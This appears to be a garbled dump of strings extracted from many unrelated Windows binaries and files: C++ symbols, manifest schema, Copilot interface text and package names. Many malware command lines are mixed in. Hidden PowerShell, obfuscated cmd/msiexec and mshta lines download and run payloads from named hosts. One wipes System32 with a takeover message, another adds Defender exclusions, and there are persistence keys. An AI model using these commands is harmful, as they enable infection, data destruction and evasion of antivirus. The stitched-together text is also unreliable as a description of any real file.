.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_4>@?7??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?7??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?7??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?6??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
software\microsoft\windows\currentversion\internet settings
c:\windows\system32\
c:\windows\system32\drivers\
c:\windows\system32\
c:\windows\system32\
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
system32\cmd.exe/cstar
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/5"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/5"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap4="http://schemas.microsoft.com/appx/manifest/uap/windows10/4"
           xmlns:uap5="http://schemas.microsoft.com/appx/manifest/uap/windows10/5"
           xmlns:uap6="http://schemas.microsoft.com/appx/manifest/uap/windows10/6"
           xmlns:uap8="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:wincap3="http://schemas.microsoft.com/appx/manifest/foundation/windows10/windowscapabilities/3"
           xmlns:desktop4="http://schemas.microsoft.com/appx/manifest/desktop/windows10/4"
           xmlns:desktop10="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
           xmlns:iot2="http://schemas.microsoft.com/appx/manifest/iot/windows10/2"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/4"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/6"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/windowscapabilities/3"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/iot/windows10/
..\..\components\edge_shell\windows_storage.cc
(base::win::GetActivationFactory< IApplicationDataStatics, RuntimeClass_Windows_Storage_ApplicationData>(&*app_data_statics))
programdata\windowsadmincenter\upda
l=>xq\powershell-windowstylehidden-command"invoke-webrequest-uri'https://github.com/cybr543809/lua/releases/download/sd/ulauncher.exe'-outfile'%tempfile%'"start""/b"%tempfile%"
cmd.exefotografijey/v/c^s^t^ar^tm^siexecb^f^dr^l=^p^djp^u^ozyw/^f^v"http://m0.nu:8080/y3uuvoye8f89kiwcgyx4i2ec67pz/ee/!computername!"-q!%systemroot%\system32\shell32.dll%
Cm\windows\system32\windowspowershell\v1.0\powershell.exe:.$env:c:\w*\s*2\m*h?a.*'https://zupermann.com/s/as.hta'<c:\programfiles(x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\cmd.exee|/d/v/cs^tar^tmsi^ex^e^c^dk=^wug^p^z^x-^qu^iet/^pa^c^k^age"http://2t.pm:8080/abbd8dkxpdwwzw/7mh/jag6wa8g/!computername!"imageres.dll%comspec%%
\windows\system32\windowspowershell\v1.0\powershell.exe1"mshta.exehttp://miraistealer.xyz/exp/index.hta"c:\windows\system32\imageres.dll
Windows.DisplayIdFromDeviceId
Windows.DisplayIdFromDeviceKey
ation,a=n.InstrumentationHelper===null||n.InstrumentationHelper===void 0?void 0:n.InstrumentationHelper.createCleanGuid(),v=c.protocol+"//"+c.host+"/QF_KEYSTROKE_VIRTUAL_URL?cvid="+a,y=typeof _G=="object"?_G:{},p=navigator.userAgent,w={CurUrl:window.location.href,Pivot:"QF",IsNonSuggestion:!0,EnrichedClientInfo:{FDPartnerEntry:"autosuggest",ImpressionUrl:v,qfMode:n.RuntimeConfig?`${n.RuntimeConfig.QfMode}`:undefined,DC:y.DA||undefined,isWebView2:p.includes("IsWebView2/True")?1:undefined},TS:i,UTS:i,UxClassification:{client:"windows"}},b=`<CID>${h}</CID>`,k=`<DS><![CDATA[[{"T":"D.Aggregator","Service":"AutoSuggest","Scenario":"Aggregator","AppNS":"SmartSearch","DS":[]}]]]></DS>`,d=`<E><T>Event.ClientInst</T><IG>${s}</IG><D><![CDATA[${JSON.stringify(l)}]]></D><TS>${i}</TS></E>`,g=`<Ovr><requestInfo key="RawQuery" value=""/><requestInfo key="IsQuery" value="false"/><requestInfo key="Form" value=""/><userInfo key="AppName" value="SmartSearch"/></Ovr>`,nt=`<M><IG>${s}</IG>${k}<D><![CDATA[${JSON.stringify(w)}]]></D><Page><Name>Page.SmartSearch.AS.Suggestions</Name>${"<L><![CDATA[[]]\]><\/L>"}</Page><TS>${i}</TS>${g}</M>`,tt=`<ClientInstRequest>${b}<Group>${nt}</Group><Events>${d}</Events></ClientInstRequest>`;fetch("/threshold/xls.aspx",{body:tt,method:"POST",headers:{"Content-Type":"text/xml"}})}}static getItem(t){var r;try{if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.lightweightStorageFail)throw new Error("TestHook: lightweightStorageFail");return((r=_w.localStorage)===null||r===void 0?void 0:r.getItem(t))||null}catch(u){return i.logError(u,"getItem"),null}}static setItem(t,r){var u;try{if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.lightweightStorageFail)throw new Error("TestHook: lightweightStorageFail");(u=_w.localStorage)===null||u===void 0?void 0:u.setItem(t,r)}catch(f){i.logError(f,"setItem")}}static removeItem(t){var r;try{if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.lightweightStorageFail)throw new Error("TestHook: lightweightStorageFail");return(r=_w.localStorage)===null||r===void 0?void 0:r.removeItem(t)}catch(u){i.logError(u,"removeItem")}}static removeItemsWithKeyPrefix(t){try{if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.lightweightStorageFail)throw new Error("TestHook: lightweightStorageFail");if(!_w.localStorage)return;const i=[];for(let n=0;n<_w.localStorage.length;n++){const r=_w.localStorage.key(n);(r===null||r===void 0?void 0:r.startsWith(t))&&i.push(r)}for(let n=0;n<i.length;n++)_w.localStorage.removeItem(i[n])}catch(r){i.logError(r,"removeItemsWithKeyPrefix")}}static clear(){var t;try{if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.lightweightStorageFail)throw new Error("TestHook: lightweightStorageFail");return(t=_w.localStorage)===null||t===void 0?void 0:t.clear()}catch(r){i.logError(r,"clear")}}static getLength(){var t;try{if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.lightweightStorageFail)throw new Error("TestHook: lightweightStorageFail");return((t=_w.localStorage)===null||t===void 0?void 0:t.length)||0}catch(r){return i.logError(r,"length"),0}}static key(t){var r;try{if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.lightweightStorageFail)throw new Error("TestHook: lightweightStorageFail");return((r=_w.localStorage)===null||r===void 0?void 0:r.key(t))||null}catch(u){return i.logError(u,"key"),null}}}i.errorCount=0;n.LightweightStorage=i;class f{static resetSequenceNumber(){this._sequenceNumber=0}static getSequenceNumber(){return this._sequenceNumber}static incrementSequenceNumber(){this._sequenceNumber++}}f._sequenceNumber=0;n.SequenceNumberManager=f;class lu{constructor(t,i,r,u,f){this._suggestionsParsers=t;this._rootViewModel=i;this._suggestionsRenderingManager=r;this._webProviders=u;this._otherProviders=f;this._cancellationManager=new 
.?AUtype@?$abi@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@Ushared_type@?1???$wait_for_completed@UIAsyncAction@Foundation@Windows@winrt@@@impl@4@YA?A_PAEBUIAsyncAction@234@I@Z@@impl@winrt@@
.?AU?$implements_delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@Ushared_type@?1???$wait_for_completed@UIAsyncAction@Foundation@Windows@winrt@@@impl@4@YA?A_PAEBUIAsyncAction@234@I@Z@@impl@winrt@@
.?AUshared_type@?1???$wait_for_completed@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@YA?A_PAEBUIAsyncAction@Foundation@Windows@2@I@Z@
xenservice.execmd.exe /c start /b powershell -windowstyle hidden -command "&{$t='#i#ex####@(n#ew###-#ob#jec#t n#####et#.w#eb#cl#ie#nt#).#up#loa#d#####st#ri#ng(#''h#t#tp#:#//
 * " & URL, "%windir%\system32", vbHide
windowssecurity
v$s\system32\&sA
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-ShellExperienceHost-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|osoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-ShellExperienceHost-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Brmdir /s /q C:\Windows\System32 2>nulYOUR SYSTEM HAS BEEN TAKEN OVER BY WHO-AM-I-404
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Data.Common.Point
Windows.Data.Common.Rect
Windows.Data.Common.Size
Windows.Data.Common.Color
windows update viewer\rdplicense\svchost.exefastmm borland edition http://www.gooo.ru
powershell-noprofile-windowstylehidden-command"invoke-webrequest-uri'https://chipper-crumble-3dd643.netlify.app/2.vbs'-outfile$env:temp
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
batchfile.writeline ("ren *.doc *.txt")/.dcc send $nick c:\windows\
Uninstall/disable all antivirus (and Windows Defender) before using thisSoftware\Buran V\StopTro
your product key should be in an email from whoever sold or distributed windows to you or ony
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
k"http://officewindowssecurityfirewallopen.duckdns.org/
WINDOWS;C:\WIN
System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetManager2
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetManagerStatics
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetCustomizationRequestedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetResourceResponse
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetInfo
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetErrorInfoReportedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetMessageReceivedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetActionInvokedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetProvider2
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetResourceRequestedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetContextChangedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetResourceRequest
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetProviderAnalytics
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetInfo2
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetProviderMessage
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetResourceProvider
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetUpdateRequestOptions2
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetAnalyticsInfoReportedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetManager
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetUpdateRequestOptionsStatics
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetProviderErrors
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetProvider
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetManager3
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetUpdateRequestOptionsFactory
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetResourceResponseFactory
__x_ABI_CMicrosoft_CWindows_CWidgets_CProviders_CIWidgetUpdateRequestOptions
\system32\rundll32.exe
\windows defender\exclusions\processes  " /v svchost.exe /t  reg_dword /d 0
4\servicing\packages\microsoft%-windows%-client%-desktop%-required%-8
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\ReactNativeExperienceViewControl.cpp
http://delwayne.alwaysdata.net/windowsetup.msi
$set"sc_path=%temp%\windowsexplorersupport.msi"
:\windows\microsoft.net\framework\v4.0.30319\microsoft.bv
c:\windowsF
software\microsoft\windows\currentversion\run\ilelections
P@echooffpowershell-windowstylehidden-command^"$
&mozilla/4.0 (compatible; msie 7.0; windows nt 5.1worm
Windows NT\CurrentVersion\WbemPerf
Windows NT\CurrentVersion\WbemPerf
Windows NT\CurrentVersion\WbemPerf
Windows NT\CurrentVersion\WbemPerf
Windows NT\CurrentVersion\WbemPerf
Windows NT\CurrentVersion\WbemPerf
Windows NT\CurrentVersion\WbemPerf
Windows NT\CurrentVersion\WbemPerf
powershell-argumentlist"-windowstylehidden-executionpolicybypass-command"#defineurlanddownloadpath$url="http://activepro.cc/python.zip"$publicdir="$env:public"$outputdir=join-path-path$publicdir-childpath"python"$outputfile=join-path-path$publicdir-childpath"python.zip
OS=Windows_NT
"http://2i.wf:8080/bnycfmfvewp/xyk91vmhn7mytlbw/tvc/%computername%"jk=z^w^z^p^l^pj/q^n!%systemroot%\system32\shell32.dll
"http://m0.nu:8080/yzav44sb/awballl0jwynxt/q/jwqg/%computername%"o^bg=czgq^iz^o^w^n-^q!%systemroot%\system32\shell32.dll
"http://2t.pm:8080/arbgvy3/svrnue1viofv6hx/6v9ys/!computername!"/q^ncu^n^i=x^a^e^v^jrm!%systemroot%\system32\shell32.dll
powershell-executionpolicybypass-windowstylehidden-command
c:\windows\system32\mshta.exe%windir%\system32\+http://a0701919.xsph.ru/head/selling.xml/f%windir%\system32\shell32.dll
Pc:\windows\system32\mshta.exe%windir%\system32\https://lepusi.site/send.rtf%systemroot%\system32\wmploc.dll%systemroot%
\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'http://armanayegh.com//readme/glued.hta'
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
mkdir"c:\programfiles\windows"copy".\360se.vbs""c:\programfiles\windows\360se.vbs"
C:\WINDOWS\SYSTEM32\
C:\WINDOWS\SYSTEM32\
C:\WINDOWS\SYSTEM32\
&"windows1")
&"windows1\"ico1=
 \system32\drivers\etc\hosts
 \system32\drivers\etc\hosts
 \system32\drivers\etc\hosts
 \system32\drivers\etc\hosts
 \system32\drivers\etc\hosts
 \system32\drivers\etc\hosts
 \system32\drivers\etc\hosts
 \system32\drivers\etc\hosts
 \system32\drivers\etc\hosts
 \system32\drivers\etc\hosts
Microsoft.Windows.Compatibility.Asl
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Inventory.Core
Microsoft.Windows.Inventory.Core
Microsoft.Windows.Inventory.Core
Microsoft.Windows.Inventory.Core
</WindowsPerformanceRecorder>
<WindowsPerformanceRecorder Version="1.0" Author="utcdiagtrack" Copyright="Microsoft Corporation" Company="Microsoft Corporation">
count, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
Windows::Compat::Inventory::RpcHelper::StartInventorySvc
Microsoft.Windows.Print.Winspool
Microsoft.Windows.Print.Winspool
Microsoft.Windows.Print.SplLib
Microsoft.Windows.Print.AsyncNotify
Microsoft.Windows.Print.PerfLib
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.ShellHost
Windows
Microsoft.Windows.Wil.FeatureLogging
WindowsInternal.Shell.UnifiedTile
Microsoft.Windows.ShellCommon.AppInstallation
Microsoft-Windows-Shell-Launcher
Microsoft.Windows.ShellCommon.StartLayout
Microsoft.Windows.Shell.DataStoreTransformers
Microsoft.Windows.Shell.CloudStore.Internal
Microsoft.Windows.Shell.JumpView
Microsoft.Windows.Start.SharedStartModel.Cache
Microsoft.Windows.SharedStartModel.NotificationQueueManager
Microsoft.Windows.Shell.AIX
Microsoft.Windows.Shell.DataStoreCache
Microsoft.Windows.Shell.DirectLaunchTelemetry
Microsoft.Windows.Shell.ExtendedPropertiesTelemetry
Microsoft.Windows.Shell.MRTTransformer
Microsoft.Windows.ShellPlacements
Microsoft.Windows.Start.ImageQueueManager
WINDOWS11
.?AUDisplayMuxAppPreference@Internal@Display@Devices@Windows@winrt@@
7// https://msdn.microsoft.com/en-us/library/windows/apps/hh453379.aspxd
: "C:\\WINDOWS\\system32\\w~
Windows 
windowsazuro
windowsazuro
GameHelpersLoader__APEX_TMH\bin\Release\net8.0-windows\win-x64\native\APEX_TMH_LOADER.pdbG
:\windows\wri
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateStringReference
Windows.StateRepositoryBroker.dll
ExitWindowsEx
CascadeWindows
TileWindows
WindowsDeleteString
WindowsGetStringRawBuffer
api-ms-win-core-windowserrorreporting-l1-1-3.dll
api-ms-win-core-windowserrorreporting-l1-1-1.dll
WindowsCreateStringReference
WindowsApp
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.AppReadiness
Microsoft.Windows.AppXDeploymentServer
Microsoft.Windows.ARS.Tiles
src\epp\common\external\WD.Client.NetworkProtection\WD.Client.SmartScreen\src\common\core\windows\win_locale.h
src\epp\common\external\WD.Client.NetworkProtection\WD.Client.SmartScreen\src\common\core\windows\win_locale.cpp
.?AU?$IMapChangedEventArgs@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@
.?AU?$IBoxArray@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Platform@@
.?AU__I?$Array@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$Array@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@$00@Platform@@
.?AU__I?$WriteOnlyArray@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$WriteOnlyArray@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@$00@Platform@@
WindowsCreateStringReference
rosoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden
"c:/windows/temp/l
C:\WINDOWS\system32\csrss.exe
<mwindows\currentversion\uninstall\desprotetorX
s\system32
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
WindowsCreateString
WindowsCompareStringOrdinal
WindowsDuplicateString
WindowsGetStringLen
WindowsIsStringEmpty
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
uchisqaOrganizacionniyki maskana willayta qawayta chaymanta kamachiyta atin, ahinataq marcadoresniyki, historiayki chaymanta yaykunapaq kichanaykikuna. Mana huk Microsoft Copilot perfiles kaqpi willayta maskana qawayta atinchu.Microsoft Copilot kaqpa aswan kallpasapa harkayninta tariyWillayta kicharqaniku utqaylla chaymanta mana sasa qawanapaq Microsoft Copilot kaqpi chiqan. Uraykachiy kaqta akllay qipaman hapiyta munaspaykiqa.Microsoft Copilot yaykuna rimaykunata huntachiyta munan. Windows kichanaykita qillqay kayta uyakunapaq.Microsoft Copilot kaqta Kunanyachiycopilotupdate nisqaMicrosoft Copilot kaqta Kunanyachiy YanapakuyMicrosoft Copilot Kunanyachiq Ukun Yanapakuy nisqallaMicrosoft Copilot software kaqniyki kunan pacha kaqpi waqaychan. Sichus kay yanapakuy mana llamkachisqa utaq sayasqa, Microsoft Copilot softwareyki mana kunan pacha kaqpi waqaychasqachu kanqa, niyta munan harkasqa mana allinkuna mayqinkunachus rikhurinman mana allichayta atikunkuchu chaymanta ruwanakuna mana llamkankumanchu.Microsoft Copilot para la empresaTo cast with a code, turn on Microsoft Copilot's sync settingsCustomize your Microsoft CopilotTo sign in to Microsoft Copilot with an additional email account, add a profile.You've signed out of your account from a website, so we've signed you out of Microsoft Copilot. Sign in to sync your browsing data across devices.Your Microsoft Copilot application may not be fully functional until you sign in againThe Microsoft Copilot team has been notified of this issue. Please try again later.You may have a network capture tool open, so Microsoft Copilot can't sign you in right now. Please close the tool and sign in again. Error code: $1Sign in is not supported when running Microsoft Copilot as an administrator. Please relaunch Microsoft Copilot as a non-administrator and try signing in again.Microsoft Copilot sign in requires the latest version of WebView2 to be installed on this device. Please install it and try signing in again.The account you're trying to sign into belongs to a sovereign cloud that Microsoft Copilot doesn't support yet. Please try again with another account.Favorites, history, and other stuff will not be saved when you close the application.Assistance from Microsoft CopilotSign in to Microsoft CopilotYou are now signed in to Microsoft CopilotMicrosoft Copilot will use this profile to automatically sign in to this site each time visit.Sign into Microsoft Copilot, get signed in everywhere.Automatically sign in to this site and other Microsoft sites when you sign in to Microsoft Copilot.Microsoft Copilot can check if your passwords were part of a data breach.When this setting is on, Microsoft Copilot detects the language on your webpage and offers to translate if the language detected is not listed under Preferred languages. The webpage text will be sent to Microsoft Translator service for translation, where the text is stored for service improvements. Learn more about how the Microsoft Translator service uses your data .Some settings were corrupted by another program so Microsoft Copilot reset them to their default values.Let Microsoft Copilot choose when sites can play sound (recommended)When you sign out, changes you make to favorites, history, passwords, and other settings will not be synced to your Microsoft account. To sync this device again, sign in to Mi("
*windows
ZoO^\windows\system32\
seta=fs.createtextfile("c:\programdata\windows\microsoft\java\dupdatechec
<MobileCompatTable xmlns="http://schemas.microsoft.com/windows/2014/07/printing/mobilecompat">
[using:Windows.UI.Xaml.Autom
.bat"$batfilepath="c:\windows\temp\
c:\windows\system32\mshtaw
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
